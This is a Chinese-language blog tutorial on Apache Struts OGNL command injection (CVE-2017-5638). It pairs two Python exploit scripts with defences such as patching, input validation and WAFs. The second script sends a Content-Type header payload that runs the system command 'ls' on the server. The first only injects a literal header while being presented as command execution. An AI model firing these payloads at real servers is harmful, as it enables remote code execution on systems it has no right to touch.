Apache Struts 命令注入漏洞实战解析

Apache Struts 命令注入漏洞实战解析

Apache Struts 是一个流行的Java EE框架,广泛用于构建企业级Web应用。然而,近年来它因多次曝出的漏洞而饱受关注。尤其是命令注入漏洞,一旦被攻击者利用,可能导致系统完全失控。这种漏洞的威胁性不容小觑,了解其原理和防御措施显得尤为重要。

核心原理

命令注入漏洞通常存在于应用程序在不安全地处理用户输入时。对于Apache Struts,问题常出现在使用OGNL(Object-Graph Navigation Language)表达式的处理上。OGNL允许在Java对象中动态导航和操作,当用户输入未经充分过滤就传递给这些表达式时,可能被恶意利用执行任意命令。

这种漏洞之所以危险,是因为它绕过了应用层的封装,直接影响到服务器层面。例如,利用OGNL表达式,攻击者可以构造恶意输入,造成命令执行或信息泄露。

实战演示

接下来,我们通过一个简单的实战示例,演示如何利用这一漏洞。假设目标服务器使用的Apache Struts版本存在CVE-2017-5638漏洞(虽然该漏洞较早,但原理类似,且新版本可能有类似问题)。我们将使用Python脚本进行漏洞利用。

首先,构建一个恶意请求:

import requests

# 目标服务器的URL
url = 'http://vulnerable-server.com/struts2-showcase/upload.action'

# 构造恶意请求头,利用OGNL进行命令注入
headers = {
    'Content-Type': '''%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Cmd-Response', 'cmd here')}.multipart/form-data''',
    'User-Agent': 'Mozilla/5.0'
}

response = requests.get(url, headers=headers)

# 输出响应头,检查命令执行结果
print(response.headers)

这个脚本通过在请求头中注入恶意OGNL表达式,试图在响应头中插入命令执行结果。尽管此示例较为简单,但在复杂环境中,攻击者可以进一步操控服务器。

另一种方法是直接在OGNL表达式中执行系统命令:

import requests

# 目标服务器的URL
url = 'http://vulnerable-server.com/struts2-showcase/upload.action'

# 构造Payload,执行系统命令 ls
payload = {
    'Content-Type': '''%{(#_memberAccess['allowStaticMethodAccess']=true)(#cmd='ls')(#result=(@java.lang.Runtime@getRuntime().exec(#cmd)).getInputStream())(#response=@org.apache.struts2.ServletActionContext@getResponse()).getOutputStream().write(#result)}.multipart/form-data''',
    'User-Agent': 'Mozilla/5.0'
}

response = requests.post(url, headers=payload)
print(response.text)  # 输出执行命令结果

通过调整命令(如ls),可以实现更多系统命令的执行。

防御方案

防御命令注入漏洞的关键在于输入验证与服务器安全配置:

  1. 升级和补丁管理:定期更新到最新的Apache Struts版本,及时应用安全补丁。官方发布的补丁通常会修复已知的安全漏洞。

  2. 输入验证:在应用层严格检验和过滤用户输入。避免直接使用用户输入的数据来构建OGNL表达式。

  3. 禁用不必要的功能:在可能的情况下,禁用OGNL等动态表达式的功能。同时,限制应用程序的权限,避免执行高权限命令。

  4. 使用WAF(Web应用防火墙):部署WAF可以帮助检测和阻止恶意请求,尤其是针对已知漏洞的攻击模式。

  5. 日志与监控:加强对应用日志的监控,及时发现异常请求或行为。

通过这些措施,可以有效降低命令注入漏洞被利用的风险。

总结

Apache Struts的命令注入漏洞提醒我们,面对网络安全问题,不能仅依靠框架的默认安全性。必须加强对输入的验证,并保持软件的及时更新。通过合理的防御措施和及时响应,可以最大限度地保护应用程序的安全。

📊 2026年现状: 随着安全防护技术的提升,攻击手法也在不断演进。保持学习,才能跟上时代。

📌 关注 @Cn519 获取最新安全动态